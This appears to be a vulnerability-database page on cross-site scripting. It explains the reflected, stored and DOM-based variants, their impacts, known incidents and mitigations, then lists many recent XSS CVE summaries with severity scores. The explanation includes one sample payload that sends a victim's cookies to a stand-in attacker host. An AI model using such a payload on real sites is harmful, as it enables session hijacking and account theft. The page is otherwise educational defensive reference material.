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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38892)

EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RumbleTalk RumbleTalk Live Group Chat allows Stored XSS.3.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spiffy Plugins WP Flow Plus allows Stored XSS.2.5. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in falselight Exchange Rates allows Stored XSS.2.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Microsoft XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bohemia Plugins Event Feed for Eventbrite allows DOM-Based XSS.3.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Amuse Labs PuzzleMe for WordPress allows Stored XSS.2.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in add-ons.org PDF for WPForms allows Stored XSS.2.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jonathan Jernigan Pie Calendar allows DOM-Based XSS.2.8. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jamel.Z Tooltipy allows Stored XSS.5.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Property Hive PropertyHive allows Stored XSS.1.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Gallery PhotoBlocks allows Stored XSS.3.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Iulia Cazan Latest Post Shortcode allows Stored XSS.0.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GDPR Info Cookie Notice &amp; Consent Banner for GDPR &amp; CCPA Compliance allows Stored. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Delicious WP Delicious allows Stored XSS.8.7. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IfSo Dynamic Content If-So Dynamic Content Personalization allows Stored XSS.9.4. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in properfraction MailOptin allows Stored XSS.2.75.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themeisle Orbit Fox by ThemeIsle allows Stored XSS.0.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.8
HIGH POC This Week

phpgurukul Complaint Management System 2.0 is vulnerable to Cross Site Scripting (XSS) in admin/userprofile.php via the fullname parameter. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub
EPSS 0% CVSS 7.2
HIGH POC This Week

phpgurukul Complaint Management System in PHP 2.0 is vulnerable to Cross Site Scripting (XSS) in admin/subcategory.php via the categoryName parameter. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub
EPSS 0% CVSS 8.8
HIGH POC This Week

DeepSeek R1 through V3.1 allows XSS, as demonstrated by JavaScript execution in the context of the run-html-chat.deepseeksvc.com domain. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Deepseek R1 Deepseek V2 +1
NVD
EPSS 0% CVSS 4.7
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Akinsoft LimonDesk allows Cross-Site Scripting (XSS).02.14 before v1.02.17. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM This Month

Improper Restriction of Rendered UI Layers or Frames vulnerability in Akinsoft LimonDesk allows iFrame Overlay, CAPEC - 103 - Clickjacking.02.14 before v1.02.17. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 2.1
LOW Monitor

Cross-Frame Scripting (XFS) vulnerability in BoomCMS v9.1.4 from UXB London. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Akinsoft MyRezzta allows Cross-Site Scripting (XSS).02.02 before v2.05.01. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Vayu Blocks - Website Builder for the Block Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple attributes in the Lottie block in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 3.3
LOW POC Monitor

The Sticky Side Buttons WordPress plugin before 2.0.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated low severity (CVSS 3.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress XSS Sticky Side Buttons
NVD WPScan
EPSS 0% CVSS 6.8
MEDIUM PATCH This Month

Outline is a service that allows for collaborative documentation. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Outline
NVD GitHub
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability has been found in code-projects Fruit Shop Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 7.3
HIGH This Week

In multiple locations, there is a possible way to mislead the user into enabling malicious phone calls forwarding due to a tapjacking/overlay attack. Rated high severity (CVSS 7.3), this vulnerability is low attack complexity. No vendor patch available.

Privilege Escalation XSS Android +1
NVD
EPSS 0% CVSS 7.3
HIGH This Week

In finishTransition of Transition.java, there is a possible way to bypass touch filtering restrictions due to a tapjacking/overlay attack. Rated high severity (CVSS 7.3), this vulnerability is low attack complexity. No vendor patch available.

Privilege Escalation XSS Android +1
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A flaw has been found in PHPGurukul Small CRM 4.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability exists in the PDF preview functionality of uTools thru 7.1.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Information Disclosure XSS Utools
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Many Notes 0.10.1 is vulnerable to Cross Site Scripting (XSS), which allows malicious Markdown files to execute JavaScript when viewed. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Many Notes
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Asian Arts Talents Foundation (AATF) Website v5.1.x and Docker version 2024.12.8.1 are vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Docker PHP XSS
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in Infor Global HR GHR v.11.23.03.00.21 and before allows a remote attacker to execute arbitrary code via the class parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Global Human Resources
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Akinsoft ProKuaför allows Cross-Site Scripting (XSS).02.07 before v1.02.08. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

E3 Site Supervisor Control (firmware version < 2.31F01) has a floor plan feature that allows for an unauthenticated attacker to upload floor plan files. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

File Upload XSS E3 Supervisory Controller Firmware
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Akinsoft OctoCloud allows Cross-Site Scripting (XSS).09.01 before v1.11.01. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW POC PATCH Monitor

A vulnerability was found in thinkgem JeeSite up to 5.12.1. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

Java XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Concert Software 1.0.0 through 1.1.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Concert
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Concert Software 1.0.0 through 1.1.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Concert
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

IBM Concert Software 1.0.0 through 1.1.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

IBM XSS Concert
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Akınsoft QR Menü allows Cross-Site Scripting (XSS).05.05 before v1.05.12. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A flaw has been found in RemoteClinic up to 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

The eHRD developed by Sunnet has a Reflected Cross-site Scripting vulnerability, allowing unauthenticated remote attackers to execute arbitrary JavaScript codes in user's browser through phishing. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ehrd Ctms
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

The eHRD developed by Sunnet has a Reflected Cross-site Scripting vulnerability, allowing unauthenticated remote attackers to execute arbitrary JavaScript codes in user's browser through phishing. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ehrd Ctms
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

The eHRD developed by Sunnet has a Reflected Cross-site Scripting vulnerability, allowing unauthenticated remote attackers to execute arbitrary JavaScript codes in user's browser through phishing. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ehrd Ctms
NVD
EPSS 0% CVSS 2.1
LOW POC Monitor

A vulnerability has been found in Khanakag-17 Library Management System up to 60ed174506094dcd166e34904a54288e5d10ff24. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A flaw has been found in Campcodes Online Hospital Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

A vulnerability was detected in Campcodes Online Hospital Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 1.9
LOW Monitor

A vulnerability was detected in Campcodes Hospital Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A flaw has been found in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was detected in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A security vulnerability has been detected in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A weakness has been identified in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A security flaw has been discovered in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC PATCH This Month

A security vulnerability has been detected in givanz Vvveb 1.0.7.2. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Vvveb
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW Monitor

A vulnerability was determined in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW Monitor

A vulnerability was found in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW Monitor

A vulnerability has been found in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW Monitor

A flaw has been found in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW Monitor

A vulnerability was detected in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A weakness has been identified in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A security flaw has been discovered in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was identified in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was determined in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.5
MEDIUM This Month

The Amministrazione Trasparente plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 9.0 due to insufficient input sanitization. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD GitHub
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was found in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was found in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability has been found in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A flaw has been found in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was detected in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The TablePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘shortcode_debug’ parameter in all versions up to, and including, 3.2 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Ocean Extra plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's oceanwp_library shortcode in all versions up to, and including, 2.4.9 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 7.8
HIGH POC This Week

Cross Site Scripting vulnerability in copyparty before 1.9.2 allows a local attacker to execute arbitrary code via a crafted payload to the WEEKEND-PLANS function. Rated high severity (CVSS 7.8), this vulnerability is no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Copyparty
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

SolidInvoice version 2.3.7 is vulnerable to a stored cross-site scripting (XSS) issue in the Clients module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Solidinvoice
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

SolidInvoice version 2.3.7 is vulnerable to a Stored Cross-Site Scripting (XSS) issue in the Tax Rates functionality. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Solidinvoice
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Month

A cross-site scripting (XSS) vulnerability has been reported to affect several QNAP operating system versions. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable. No vendor patch available.

Qnap XSS License Center
NVD
EPSS 0% CVSS 2.0
LOW Monitor

A cross-site scripting (XSS) vulnerability has been reported to affect Photo Station. Rated low severity (CVSS 2.0), this vulnerability is remotely exploitable. No vendor patch available.

XSS Photo Station
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability has been found in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A flaw has been found in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was detected in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A security vulnerability has been detected in PHPGurukul Directory Management System 2.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A weakness has been identified in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS O2oa
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was identified in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A vulnerability was determined in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD VulDB
EPSS 0% CVSS 2.1
LOW POC Monitor

A weakness has been identified in mtons mblog up to 3.5.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

A security flaw has been discovered in O2OA up to 10.0-410. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in OpenAtlas v8.9.0 from the Austrian Centre for Digital Humanities and Cultural Heritage (ACDH-CH), due to inadequate validation of user input when a POST. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Openatlas
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in OpenAtlas v8.9.0 from the Austrian Centre for Digital Humanities and Cultural Heritage (ACDH-CH), due to inadequate validation of user input when a POST. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Openatlas
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in OpenAtlas v8.9.0 from the Austrian Centre for Digital Humanities and Cultural Heritage (ACDH-CH), due to inadequate validation of user input when a POST. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Openatlas
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
38892

Related CWEs

MITRE ATT&CK

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